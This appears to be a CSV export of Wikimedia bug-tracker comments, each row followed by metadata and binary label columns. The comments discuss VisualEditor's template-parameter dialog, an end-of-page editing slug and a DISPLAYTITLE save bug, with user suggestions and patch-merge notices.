+621413,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","I have literally no idea, it was in 2014.",,,1456932039,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,139,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+621352,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates",@Ironholds the page has become a disambig since you filed. Looking at the history were you linking to https://en.wikipedia.org/wiki/Fulgencio_(Modern_Family) originally?,,,1456923888,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,139,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0
+620273,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Current thinking about switching modes:
+
+| Basic appearance | {F3459623}
+| Editing with support | {F3459624}
+| Switched to 'wikitext' mode | {F3459622}
+",,,1456797038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,139,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+234152,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Re-wording; this isn't a duplicate of bug 50182, which is about non-dialog editing of templates.",,,1408649657,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,59,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+234146,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","
+
+*** This bug has been marked as a duplicate of bug 50182 ***",,,1372427548,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52354,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"The current workflow for adding a new template; you add the template, you add parameter 1, you go to add parameter 2...only you can't, because adding parameter 1 jumped you to an entirely new tab that doesn't contain a mechanism for adding parameter 2.
+
+It'd be good to have some mechanism to add additional parameters that is more intuitive - something as simple as not jumping a user to the parameter page, even. I appreciate bug 49778 partially solves for this but it's going to be a looong time before all our templates have templatedata.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51774
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49772",Medium,50.0,1372412100,1377906050.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_description,invalid,True,c1,2,False,False,True,-1,,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+234089,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"I think these are all now tracked in bug 53604's dependencies, which is a more scalable way to find, triage and fix bugs; consequently, closing this as INVALID (though each of its suggestions are of course real bugs or enhancements).",,,1377906050,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+234083,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"(In reply to comment #11)
+> << For templates, it would be helpful to provide some links to the actual
+> template page from the transclusion dialog. At least a direct link, but
+> perhaps
+> something like v*t*e (view/talk/edit) like included in many navigation
+> templates. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:12,
+> 6
+> August 2013 (UTC) >>
+
+Links to template documentation pages from the transclusion editor is bug 49772",,,1375794547,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,5,,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1
+234079,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"<< For templates, it would be helpful to provide some links to the actual template page from the transclusion dialog. At least a direct link, but perhaps something like v*t*e (view/talk/edit) like included in many navigation templates. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:12, 6 August 2013 (UTC) >>",,,1375793484,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,5,,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1
+234076,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"<< When the templatedata does not take any parameters, as specified by the corresponding templatedata (e.g. <nowiki>{{fixed}}</nowiki>, don't show the add parameter heading/text field and 'no unused parameters'. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:08, 6 August 2013 (UTC) >>",,,1375793232,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1
+234073,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"I've added bug 51774 as a see-also. That bug is about making it easier to see long descriptions by use of a tooltip. I don't think it is dependent on or duplicative of this though.
+
+Bug 49772 is also relevant here, that asks for links to extended documentation.",,,1374492238,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+234068,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"The treatment of ""required parameters"" is positively unhelpful. I suggest that they should be listed below the input box, like the other parameters, with a note saying ""Required"". At present it's easy not to notice that they're there, at the top of the left-hand column, while a few of the other parameters and their descriptions are listed conspicuosly below the input box.
+
+Steps to add a non-required parameter:
+#See it listed below the box, with its descriptionm and click (or, remember its name and type it)
+#type the value into the displayed box
+# (non-intuitively) click on the template name top left to add another parameter (please give us an ""Add another parameter"" box!)
+
+Steps to add a required parameter:
+# Notice that it's listed, top left - just the name, no description
+# Recognise that it's an important and required parameter, even if the name is a bit cryptic
+# Move mouse up there and click on it
+#Now see it displayed with its description
+# type the value into the displayed box
+#...
+
+I don't think the editor benefits from the current situation: I've tried adding a few templates and been flummoxed by it: sometimes the parameter name doesn't convey what it is, while if it was listed below the input box with its description it would be much clearer. Stick a red ""Required""  note beside it: editors are used to this on all sorts of other web forms.",,,1374490962,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+234062,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"More user suggestions:
+
+
+    After selecting a template and clicking ""Add template"", the left side of the box should read (in descending order): (1) Dialog box name (which should be ""New template"", not ""Transclusion""); (2) the name of the new template [done now, but this should not be clickable - see (6)]; (3) A title, ""Required parameters"" [new], (4) a list of the required parameters [done now; done now], (5) a title, ""Added parameters"" [new], (6) A button, ""Add a parameter"", which when clicked, changes the right side of the box to the ""Add parameter"" dialog; and (7) a list of added parameters [done now; may be blank]. The button should be greyed out if the editor cannot add any new parameters (the only allowed parameters are required; all possible added parameters have been added)
+
+    After clicking ""Add template"", the left side of the dialog box highlights the template name, and always shows, on the right side, the ""Add parameter"" dialog. This is wrong if there are any required parameters. What should be highlighted on the left is the first required parameter. Editors should be completing the required parameters first, then turning to adding optional parameters.
+
+    When a editor clicks, on the left side, on a parameter, the right side shows an input box. It isn't clear, after the editor has added the desired information, what to do. Pressing [Enter] (or [Return]) just puts a newline character into the box (starts a new line). Clicking on ""Apply changes"", which seems like a possible solution, actually saves the template and exits the dialog box - that's frustrating. There should be a ""Done"" button that closes the edit window, and moves the left-side focus to (a) the top-most required parameter without information, or (b) the ""Add a parameter"" button/option.
+
+    When a parameter listed in the left side of the box gets its information added by the editor, the visible format of the parameter does not change. This is a particular problem if there are a lot of mandatory parameters, and the editor is not adding information linearly. It would be helpful if the text of the name of the parameter were to turn green once the parameter has been filled out; that's also positive feedback to an editor looking at anything with more than a few required parameters.
+
+    How to add a parameter is not obvious, as indicated by the frustration voiced by an editor previously. It looks like an editor can click on a parameter in the list, and then click the boxed parameter name towards the right side of the areas that has turned blue (that is, to click on what appears to be a button with the parameter name within it). But clicking on that ""button"" does nothing. Nor does clicking on a parameter result in the name of that parameter being put into the search box. The secret of adding a parameter [I guess; I've not been able to figure out anything else] is to ignore the fact that parameter names can be selected by clicking on them, instead (a) typing the parameter name into the search box, and (b) pressing [Enter]. I admit to being baffled by the rationale here: why make (the parameter name) clickable, yet have the click do absolutely nothing useful? Clicking on a small button within the parameter description, or double-clicking (or best, either way) is much more what editors would expect. [I also note that the user guide is not helpful, saying in its entirety, on this issue: ""You can add parameters or edit those already listed.""]
+
+    What makes the ""type in the parameter name and press enter"" approach particularly problematical is that if you misspell the name of an optional parameter, you get no feedback that you have done so. That's because VE assumes you're adding a parameter that's not covered by templatedata, but still is valid. That's a necessary assumption now, but clicking to add a parameter, rather than typing to add one, would remove the potential for this problem.
+
+    When adding a parameter, the list of parameters includes a description (e.g., ""Full date when the source was published; if unknown, use accessdate ...""). It would be extremely useful if this description was also visible when the enter enters information for that parameter. (Bug exists for this, I believe.)
+
+    VE should prevent an editor from adding a template to the page text unless information has been entered for all required parameters. This could be done by greying out the final button (currently ""Apply changes""), or by an appropriate error message if that button were clicked while a required parameter was still blank. If the first approach is taken, then it's particularly important to show the editor his/her progress in filling out parameters (the fourth suggestion, above), perhaps even turning red the required parameters that still require information.
+
+    The final step, for a different process, adding images, is to click a button labeled ""Insert media"". Similarly, the final step for the template process should be a button labeled ""Insert template"", rather than ""Apply changes"".",,,1373874288,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,2,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+234057,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Retitling this ticket to keep it more focussed as a generic ""improve X"" is hard to actually resolve definitely. I suppose the main goal here is:
+
+* It should be easier to add the Nth parameter after having added one already (e.g. not having to go back to the template page from the navigation sidebar and adding a new one).
+
+* One should be able to see other parameters (including their values) at a glance.
+
+I've been thinking about the following UI changes (in no particular order, some options are mutually exclusive):
+
+* Though having sidebar entries for each parameter (as opposed to just the template) is a nice way to jump to a specific parameter at once, but for other purposes it is imho too big and unhelpful. I can't justify its prominence other than that this is the only method we have in the UI right now to allow navigation to other pages in the dialog.
+
+* I'd like to try for a Template to be a single page in the dialog where one can scroll from one parameter to another (e.g. more like a regular form).
+
+* The sidebar should probably be reduced (parameters either not in there, or significantly less prominent (e.g. a third of the height and indented from the parent item). The navigation sub-items for parameters wouldn't be for separate pages in the dialog, but would trigger a scroll to the param section and (if not already) to go to that template page the parameter section is inside of. We could go fancy and update the sidebar in two-directions (e.g. clicking an item will scroll there, and if you scroll there manually, we update the sidebar active item.  This principle is quite common on one-page sites, example implementation of such principle: 
+http://webdesign.tutsplus.com/tutorials/javascript-tutorials/create-a-sticky-navigation-header-using-jquery-waypoints/
+https://webdesigntutsplus.s3.amazonaws.com/tuts/313_waypoints/demo/index.html
+
+* As for bigger templates the ""Template"" page would now be very long, it becomes important that our ""Add parameter"" button is not only on top or bottom of the Template page, but accessible at all times (e.g. sticky on the bottom, and when clicked we attach a new section, add it to the list and scroll to it).
+
+* Separate: I'd like to get rid of the [+] -> [+ {template}] button we have right now. It is quite counter intuitive in my opinion. Aside from the ""+"" being unclickable (one has to hover it, then find out there are different options and pick one, even though there was only 1 option, now there are 2: template and content), it is also too small. I'd recommend we either have both + buttons visible at all times (+template, +content) or put them in the sidebar are sticky bottom-positioned slugs/placeholders (e.g. each + item would be its own row in the sidebar, clicking it will add an entry to the sidebar).
+
+</brain dump>",,,1373369674,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,True,,,1,,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+234048,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"**euro** wrote:
+
+(In reply to comment #4)
+> I'd also request the elimination and replacement of the word ""transclusion"";
+> it's very opaque to non-wikimedians (and also potentially incorrect).
+
+Agreed...Perhaps it would be helpful in ""dumbing down"" the term to review the Free Dictionary treatise on ""transclusion"":
+
+http://encyclopedia.thefreedictionary.com/Transclusion
+
+--It pretty much comes down to the age-old issue of taking whatever is somewhere originally and replicating it somewhere else. The catch: no matter what happens to the original material, it's reflected immediately in the replicated copy. So within the context of ""Wikistuff"", how about ""replicate""?
+
+Webbie",,,1373069621,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+234036,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"I'd also request the elimination and replacement of the word ""transclusion""; it's very opaque to non-wikimedians (and also potentially incorrect).",,,1373026126,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+234024,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Another editor doing a lot of work with templates suggests that in commonly used templates with regular parameters, it might be a good idea to have the parameters preloaded. Speaking of the common ""cite web"" template, she says:
+
+""I think it would be easier for the parameteres to already being added, at least the basic ones, to the template. For example, to the ""cite web"" template, the parameters that most people use (title, url, author, publisher and date). So, when the editor adds the ""cite web"" template, would only have to add the content of each parameter and not the parameters themselves. If the editor wants to add an extra parameter, they could choose it from the list and add it. I am sure that this is difficult to be done knowing that there are lots of templates to go through but maybe keep it as a thought if it can be done?""",,,1372958401,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0
+234015,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Additional thoughts - copied from En Wikipedia. Pam has done a ton of work with templates in VE and is at this point pretty dead familiar with how it impacts her workflow.
+
+***
+Many of the templates I add most often either have no parameters (eg stub templates), or take ""date"" as a parameter (maintenance templates like {{unref}}), or take one or more positional parameters (eg {{in title}} or {{about}} or {{coord}}).
+
+The handling of templates seems to assume that each template has one or more named parameters.
+
+Inputting a 3-parameter template like {{about|this|that|the other}} is very tedious, even after you've discovered how to do it (very non-intuitive). You can't see the content of previous parameters as you go along, so have to remember where you've got to. Messy and stressful and takes a whole lot of clicking.
+
+It's probably too late to suggest this, but imagine the following scenario:
+1. I click on the jigsaw icon
+2. A box appears where I input the name of the template and click ""Add template""
+3. The next box includes a prominent ""See template documentation"" button which links to the appropriate documentation, perhaps popping it up in another window or tab.
+4. This box is divided into two columns and a note says ""use either the left-hand or right-hand column to add any parameters to this template"". One col has named parameters, the other has a set of boxes labelled ""1st parameter"", ""2nd parameter"", etc. Along with buttons for ""Next template"" and ""Apply changes"".
+
+A further refinement would be for VE to be aware of (a) templates which take no parameters (eg stub templates), and (b) templates which only take the date (many maintenance templates), and in these two cases not to prompt for parameters (but to quietly add the date for (b), saving this having to be done by a passing bot later).
+
+A yet further refinement would be for VE to recognise stub templates (they all end in ""-stub}}"", apart from {{stub}} itself, so it shouldn't be hard), offer them as a separate drop-down menu (much easier when stub-sorting), and put them in the ""right"" (per WP:MOS) place at the end of the article.
+
+Probably too much to hope for: but going back to the basics, please work out a way for parameters to be input without all the clicks involved in making ""names"" like ""1"", ""2"", etc. I haven't yet tried to add a coords parameter - something on the lines of {{coord|54|36|51|N|2|49|34|W|display=title}}. That's going to be really tedious.
+
+... Getting a bit stream-of-consciousness here: can't we just have two columns of boxes: ""parameter name if any"" and ""parameter contents"" - perhaps 10 rows and a ""More parameters"" button. Then to input that coord template I'd just leave the first column blank and put the values I've got, in order, and hit ""Apply changes"". Simple, allows you to see previous params as you go to keep track of where you've got to, etc. Ah well, perhaps it's all in hand. Good luck. PamD 14:12, 4 July 2013 (UTC)",,,1372947691,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+234010,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Another thought; the different tabs for different params is something that takes a while to figure out, and introduces a lot more hoops into the system.",,,1372944786,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0
+52353,VisualEditor: Add a block slug at the end of pages,"The cursor cannot be placed below the last line. This sounds trivial, but there are a lot of situations - adding stub templates, or defaultsort data, for example - where being able to trivially flip to the end of an article and have space to write is A Good Thing (tm). It'd be good to have a temporary line at the end of an article that isn't saved unless it contains anything.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372411380,1423750227.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-vipia63usd432ltaseq6,task_description,declined,True,c1,2,False,False,False,-1,,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+410478,VisualEditor: Add a block slug at the end of pages,"We don't insert slugs if the user can create a new line by pressing enter. If the document ends in a template or other focusable item, we do.",,,1423750227,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vipia63usd432ltaseq6,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+52341,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"1. Edit [[testwiki:Displaytitle]] using VE
+2. Using the transclusion dialog box, add the following ""template"":
+        DISPLAYTITLE:''displaytitle''
+3. Save the page
+
+The page title remains ""Displaytitle"" in roman type.
+
+Expected to see ""displaytitle"" in italics. This is what you see when you refresh the page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49667",Medium,50.0,1372389360,1404250963.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+233340,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"(In reply to Alex Monk from comment #13)
+> So this appears to actually be working now.
+
+Woo-hoo. :-)",,,1404356560,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+233337,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,So this appears to actually be working now.,,,1404250963,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+233334,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 141098 merged by jenkins-bot:
+Update displaytitle on save (try #3)
+
+https://gerrit.wikimedia.org/r/141098",,,1404249536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233327,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 141098 had a related patch set uploaded by Alex Monk:
+Update displaytitle on save (try #3)
+
+https://gerrit.wikimedia.org/r/141098",,,1403537537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233323,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 140591 merged by jenkins-bot:
+Update displaytitle on save (try #2)
+
+https://gerrit.wikimedia.org/r/140591",,,1403134891,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233319,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 140591 had a related patch set uploaded by Alex Monk:
+Update displaytitle on save (try #2)
+
